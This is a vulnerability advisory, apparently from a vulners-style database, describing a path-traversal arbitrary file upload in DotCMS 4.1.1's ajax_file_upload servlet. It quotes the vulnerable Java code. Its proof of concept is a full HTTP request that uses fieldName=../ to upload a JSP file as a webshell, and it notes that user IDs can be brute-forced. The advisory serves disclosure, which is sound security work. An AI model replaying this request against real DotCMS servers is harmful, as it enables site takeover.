`==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: [email protected]
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.
Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:
private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
throws IOException
{
String fieldName = null;
AjaxFileUploadListener listener = null;
try
{
String fileName = "";
listener = new AjaxFileUploadListener(request.getContentLength());
FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
fieldName = request.getParameter("fieldName");
Enumeration params = request.getParameterNames();
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
ServletFileUpload upload = new ServletFileUpload(factory);
List items = upload.parseRequest(request);
boolean hasError = false;
this.isEmptyFile = false;
String userId = null;
if (UtilMethods.isSet(session.getAttribute("USER_ID")))
{
userId = (String)session.getAttribute("USER_ID");
User user = UserLocalManagerUtil.getUserById(userId);
if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
throw new Exception("Could not upload File. Invalid User");
}
}
else
{
throw new Exception("Could not upload File. Invalid User");
}
for (Iterator i = items.iterator(); i.hasNext();)
{
FileItem fileItem = (FileItem)i.next();
if (!fileItem.isFormField())
{
if (fileItem.getSize() == 0L) {
this.isEmptyFile = true;
}
if (fileItem.getName().contains(File.separator)) {
fileName = fileItem.getName().substring(fileItem
.getName().lastIndexOf(File.separator) + 1);
} else {
fileName = fileItem.getName();
}
fileName = ContentletUtil.sanitizeFileName(fileName);
File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
if (!isValidPath(tempUserFolder.getCanonicalPath())) {
throw new IOException("Invalid fileName or Path");
}
if (!tempUserFolder.exists()) {
tempUserFolder.mkdirs();
}
File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
if (dest.exists()) {
dest.delete();
}
fileItem.write(dest);
fileItem.delete();
}
}
if (this.isEmptyFile) {
fileName = "";
}
if (!hasError) {
sendCompleteResponse(response, null);
} else {
sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
}
}
catch (Exception e)
{
listener.error("error");
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
sendCompleteResponse(response, e.getMessage());
e.printStackTrace();
}
}
tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-definedi1/4so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC && EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
Host: 192.168.1.204:8080
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------1234995635
Cookie: your own cookies
Connection: close
Content-Length: 138
----------1234995635
Content-Disposition: form-data; name="xxx"; filename="test.jsp"
<% out.print("test_for_fun!");%>
----------1234995635--
3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation